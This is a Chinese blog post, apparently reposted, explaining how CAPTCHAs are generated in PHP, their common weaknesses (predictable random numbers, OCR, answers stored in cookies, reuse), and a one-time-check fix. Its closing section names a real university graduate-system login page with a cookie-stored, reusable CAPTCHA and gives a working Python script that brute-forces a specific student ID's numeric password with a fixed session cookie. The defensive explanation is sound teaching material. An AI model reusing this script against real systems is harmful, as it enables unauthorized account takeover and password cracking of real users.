文档章节

Jacky扯淡系列 – 验证码

huangjacky
 huangjacky
发布于 2014/10/12 12:21
字数 1687
阅读 10
收藏 0
  • 1 验证码的用途

防止恶意用户的csrf,比如一些bot的重复请求,类似的有密码破解等操作。
但是验证码这个东西会降低用户的体验度,因此不能将其作为必备的防护措施。

  • 2 常见的验证码形式

通常的验证码内容有:数字,字母,恶心一点儿有中文,更有甚者用广告当验证码,比如某网盘的。
而验证码验证方式:一般是要求用户重复输入相同的内容,特殊一点儿的验证码会采用问答的形式。
1_thumb
这个是QQ的互联登陆时的验证码
2_thumb
这个是security.tencent.com的验证码

从上面的图可以看出来,验证码为了防止被图像识别一般都会在验证码生成的过程中,会加入噪点和对图片中的文字进行变形处理来增加自动化识别的难度。

  • 3 验证码实现的原理

验证码的交互过程如下:

image_thumb1
图3 交互过程图

系统在生成验证码时主要的操作有:

  1. 利用随机算法(如PHP中的mt_rand函数)从指定内容模版中选取出指定长度的字符串,记为$code
  2. 将$code以图片的形式展现给用户,PHP中生成图片可以使用GD库
  3. 将$code在服务端保留存放,通常放入用户对应的session中。
    $_SESSION['verifycode']=$code

下面的生成验证码的代码,是从网上扣来的,作者是@author iranw  <wang_wenguan@yeah.net>

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public  function  createimg( $width =100, $height =30, $length =4){
        $this ->width = $width ;
        $this ->height = $height ;
        $this ->lenght = $length ;
        $this ->im = imagecreate( $this ->width, $this ->height);  
   
        $this ->SetBgColor();     //设置背景色
        $this ->SetDot();         //设置干扰点
        $this ->SetLine();            //设置干扰线
        $this ->GetRandStr();     //获取随机字符    
   
        for ( $i =0; $i < $this ->lenght; $i ++){
            $c_position  = ! $i ? $this ->mar_left: $c_position + $this ->pad;
            $color  = ImageColorAllocate ( $this ->im, mt_rand ( 0, 100 ), mt_rand ( 0, 100 ), mt_rand ( 0, 100 ) ); //字符随即颜色
            ImageChar ( $this ->im, $this ->fontsize, $c_position , $this ->mar_top, $this ->randstr[ $i ], $color  ); //绘字符
        }
        Imagegif ( $this ->im );
        ImageDestroy ( $this ->im );
 
        return  $this ->randstr;
    }
  • 4 验证码安全隐患

从原理来看,验证码可能存在的问题有:

  1. 验证码生成时随机算法的健壮性,在一些编程语言里面random函数实际上伪随机,也就是上一次random和下一次random之间是能够推导出来,那么用户在知道某一次的验证码后,完全可以推导出之后所有的验证码。
  2. 验证码要具备良好的防止OCR识别的能力, 一般图像识别都是先通过二值化,然后高斯处理去噪点,最后边缘检测和分割。因此一个强壮验证码应该在生成的时候需要对文字进行变形,文字和文字之间最好能有重叠,这样来加大图像分割的难度。
  3. 验证码的答案一定要保存在用户不可见的位置,通常是写入到用户的session中,也可以写到一些内存数据库中,一定不能在用户页面中插入答案,不管这个页面元素是否可见,也不能将验证码的答案写到用户的Cookie中,因为上述两个地方都是在用户侧,用户想要查看是肯定能看到的,所以这个验证码对应的答案一定要存放在服务端。
  4. 最后一个问题属于逻辑问题,验证码一定是一次性的,用完了立马注销。也就是图3中的步骤4,如果系统没有步骤4,那么恶意用户可以在一次请求获得验证码后,使用该验证码不断的发送请求,那么系统设置验证码的目的也就形同虚设了。恶意用户的攻击流程如下:
    image_thumb4
    图4 恶意用户攻击流程图
    从上图中我们可以看到用户在第二次请求时(步骤4),由于没有经过步骤1和步骤2,因此系统中的验证码并没有改变,因此用户才能用上一次的验证码进行恶意请求。因此我们可以实现一个方法无论验证码是否正确,只要比较一次后就必须销毁原来的验证码:
    ?
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
        /**
         * @param $code 用户提交的验证码
         * @return bool 验证码正确返回true
         */
        public  function  checkCode( $code ){
            $flag  = false;
            //比较验证码
            if (isset( $_SESSION [ 'verifycode' ]))
                $flag  = strtolower ( $_SESSION [ 'verifycode' ]) == strtolower ( $code );
            //清空已有的验证码信息
            unset( $_SESSION [ 'verifycode' ]);
            return  $flag ;
        }
  • 5 实践利用

由于手上刚好遇到了一个站点有这样的问题,也就是验证码存在cookie中,而且没有有效销毁的情况,那么接下来就说一下针对这样的情况如何利用。

有问题的站点:http://gd.whut.edu.cn/etm/ETMDCP/

请求验证码的HTTP请求:http://gd.whut.edu.cn/etm/ETMDCP/other/Code.aspx?0.8546793526038527

Cookie接收和发送如图:

image_thumb6
图5 接收到的Cookie

验证码如图:

image_thumb8
图6 验证码

因此在登录破解的时候根本不需要关注验证码的图片,只需要查看响应头中的Set-Cookie中CheckCode字段就可以。我们在破解密码过程中只需要不断发送用户名+密码+这个CheckCode就可以了。下面是我写的一段python代码来爆破密码的脚本:


?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python
#coding:utf-8
'''
Author: HuangJacky
Description: 破解研究生系统登录密码
Time: 2013-06-18
Email: huangjacky@163.com
QQ: 4462676
'''
 
import  sys
import  httplib2
import  urllib
import  time
 
__author__ =  'fiend'
 
reload (sys)
sys.setdefaultencoding( "utf-8" ) #@UndefinedVariable
 
 
headers =  {
    'Host' : 'gd.whut.edu.cn' ,
    'Cookie' : 'ASP.NET_SessionId=j1ukxkeurn31yh45e21r3r55; CheckCode=6245' ,
    'Content-Type' : 'application/x-www-form-urlencoded'
}
v =  '密码错误!'
data =  {
    '__VIEWSTATE' : '/wEPDwUKMTMyOTgyMjUxMg8WBB4RTG9naW5UaW1lTGltaXRTZXQFBUNMT1NFHghmaWxlUGF0aAUbRTpcZXRtXEVUTURDUFxMaW5zX3dobGcuaW5pFgICAw9kFgICAQ8WAh4Fc3R5bGUFiQFiYWNrZ3JvdW5kOnVybChvdGhlci9UaXRsZVBpYy9oZWFkMjAxMzA0MTAuanBnKSBuby1yZXBlYXQ7IHdpZHRoOjU4MnB4OyBoZWlnaHQ6MzE0cHg7IG1hcmdpbjowIGF1dG87IG1hcmdpbi10b3A6MjIzcHg7IHRleHQtYWxpZ246Y2VudGVyOxYEAgcPEGQPFgRmAgECAgIDFgQQBQnnrqHnkIblkZgFAjAxZxAFBuWtpueUnwUCMDNnEAUG5a+85biIBQIwN2cQBQzor4TlrqHkuJPlrrYFAjA4Z2RkAgsPDxYCHgRUZXh0BQMwMTBkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUJYnRuX2xvZ2luloNQd+iL1vSdm+yjJz5XwgAEOYU=' ,
    '__EVENTVALIDATION' : '/wEWCQLhtbHJCgL4hPDxAQL7w4LuCgLLm6aZAgKOhqnMBgKOhpHMBgKOhoHMBgKOhsXPBgLjl+vcBIxSBFKNaX7oywTJkaGHdttr98yb' ,
    'txt_User' : '学号' ,
    'txt_Pass' :'密码',
    'txt_Code' :'验证码',
    'drp_type' : '03' ,
    'btn_login.x' : '35' ,
    'btn_login.y' : '5'
}
 
 
h =  httplib2.Http()
 
def  test(sno,pwd):
    data[ 'txt_User' ] =  sno
    data[ 'txt_Pass' ] =  pwd
    print  sno, ':' ,pwd
    resp,content =  h.request(url, 'POST' ,urllib.urlencode(data),headers)
    if  resp.status = =  200 :
        if  content.find(v, 5000 ) = = - 1 :
            print  'password is ' ,pwd
            return  True
        else :
            return  False
    elif  resp.status = =  302 :
        print  'password is ' ,pwd
        return  True
    else :
        print  resp
        return  False
 
def  init(code,cookie = None ):
    if  cookie:
        headers[ 'Cookie' ] =  cookie
    data[ 'txt_Code' ] =  code
 
if  __name__ = =  '__main__' :
    init( 2589 , 'ASP.NET_SessionId=j1ukxkeurn31yh45e21r3r55; CheckCode=4427' )
    sno =  '1049721101334'
    print  'Now Cracking is ' ,sno
    i =  1
    while  i < 9999999 :
        nn,dd =  divmod (i, 100 )
        if  dd = =  0 :
            time.sleep( 2 )
        s =  str (i)
        pwd =  s
        if  test(sno,pwd):
            break
        i + = 1
        time.sleep( 0.1 )
    print  'done'

我是HuangJacky,今天就到这里了。

本文转载自:http://www.cnblogs.com/huangjacky/p/3144269.html

共有 人打赏支持
huangjacky
粉丝 5
博文 19
码字总数 0
作品 0
深圳
高级程序员
Java工程师必学的Linux命令(二)用户和组管理

Java工程师日常研发工作中会使用到的Linux命令系列第二篇,今天我们来练习一些常用的用户和组管理的命令吧。 注:本系列文章所有操作都是基于RedHat系列的Centos 7。所以开始学习前,请大家先...

安妮魔耳
08/15
0
0
PHP调用创蓝253国际短信验证码

#!/usr/local/bin/python #-- coding:utf-8 -- Author: jacky Time: 14-2-22 下午11:48 Desc: 短信http接口的python代码调用示例 import httplib import urllib import json #服务地址 host......

创蓝_253
05/15
0
0
RDS for MySQL 如何使用 Percona Toolkit

pt-online-schema-change 和 pt-archiver 工具均须指定 --no-version-check 选项方能搭配 RDS MySQL 实例使用。 1. pt-online-schema-change pt-online-schema-change 提供在线修改表结构等功......

会说话的鱼
04/02
0
0
12306又升级了

准备抢个票的发现登录都不行了,发现在12306登录又折腾人了: 登录增加了几个参数: NzU4MTU%3D=YWY0YzFkOTk2ODgzNWRhOQ%3D%3D myversion=undefined isClick= form_tk=null 其中第一个参数最扯淡...

滄海一夢
2013/09/11
2.1K
4
Cassandra数据模型

提起NoSQL这个话题,仿佛不应该是DBA要关注的事,而是架构师应该关心的。但是作为一名DBA,在使用传统的关系型思想建模时,应该有必要了解NoSQL的建模方法。 各种NoSQL数据库有很多,我最关注...

老枪
2010/02/26
3.2K
8

没有更多内容

加载失败,请刷新页面

加载更多

emoji

前言:随着iOS系统版本的升级,对原生emoji表情的支持也越来越丰富。emoji表情是unicode码中为表情符号设计的一组编码,当然,还有独立于unicode的另一套编码SBUnicode,在OS系统中,这两种编...

HeroHY
30分钟前
1
0
rabbitmq学习(二)

生产者消费者初级案列 ChannelUtils package com.hensemlee.rabbitmq;import com.rabbitmq.client.Channel;import com.rabbitmq.client.Connection;import com.rabbitmq.client.Connecti......

hensemlee
40分钟前
1
0
MarkDown入门简介

Markdown是一种可以使用普通文本编辑器编写的标记语言,通过类似HTML的标记语法,它可以使普通文本内容具有一定的格式。Markdown的语法简洁明了、学习容易,而且功能比纯文本更强,因此有很多...

一零贰IV
44分钟前
1
0
druid配置db2参考记录

Driver Name:COM.ibm.db2.jdbc.app.DB2 Driver Type 4 Driver URL Pattern:jdbc:db2://ServerIP:50000/databasename ${driverClassName} 这个参数没有在spring相关的properties文件中配置 ......

tonyfox
47分钟前
1
0
用户体验要素——以用户为设计中心

一、用户体验是什么 产品会与外界发生联系,人们如何去使用产品,人们使用产品无非解决两种问题,一,提高效率;二娱乐。而用户体验兼顾着功能和界面两个方面,为的是“提高人们的工作效率”...

铸剑为犁413
今天
1
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部